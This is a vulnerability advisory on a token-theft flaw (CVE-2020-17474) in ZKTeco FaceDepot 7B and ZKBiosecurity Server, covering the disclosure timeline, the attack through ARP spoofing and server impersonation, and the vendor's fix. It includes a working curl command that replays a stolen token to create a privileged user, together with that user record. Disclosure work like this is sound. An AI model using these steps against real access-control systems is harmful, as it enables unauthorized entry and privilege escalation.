- Threat Encyclopedia
- Vulnerability
- ZKTeco FaceDepot 7B 1.0.213 and ZKBiosecurity Server 1.0.0_20190723 long-lasting token vulnerability
Lack of mutual authentication in ZKTeco FaceDepot 7B 1.0.213 and ZKBiosecurity Server 1.0.0_20190723 allows an attacker to obtain a long-lasting token by impersonating the server.
The vulnerability has been submitted to ZDI on Dec 3, 2019.
ZDI got one response from the vendor which acknowledged but not confirmed the vulnerability. The responsible disclosure expired on April 30, 2020.
The vendor addressed the vulnerability and has recommended to install an updated version of the software. The update can be found via the vendor's link:
The researchers have tried two ways to successfully steal the access token in the HTTP header.
We found no CSRF to prevent such attack. Moreover, the token has a long life (at least 2 weeks), and is still valid even after FaceDepot 7B (the Android tablet) issues a new token. The token can be used in replay attack, command forgery, arbitrary user addition and privilege escalation (CVE-2020-17474).
We wrote a proof-of-concept to simulate ZKBiosecurity ADMS with reasonably dummy response. The SSL certificate is self-signed. We did not install the CA into the tablet. After taking over ZKBiosecurity Server's IP by arpspoofing, the script is able to obtain the token for further use. FaceDepot tablet reconnects to the server every 2 - 3 minutes and thus automatically submits a legit token.
After SN and token are obtained, it is easy to, for example, create a user, by using cURL:
curl -v -L -X POST -A 'iClock Proxy/1.09' 'http://192.168.0.1:8088/iclock/cdata?SN=LSR1915060003&table=tabledata&tablename=user&count=1' \ -b 'token=a72182ceb8e4695ea84300155953566d' -H 'Accept: application/push' -H 'Accept-Charset: UTF-8' -H 'Accept-Language: zh-CN' \ -H 'Content-Type: application/push;charset=UTF-8' -H 'Content-Language: zh-CN' -d@bugoy.user.post
Where the content of bugoy.user.post is:
user uuid= cardno= pin=11111 password= group=1 starttime=0 endtime=0 name=Bugoy Test1 privilege=14 disable=0 verify=0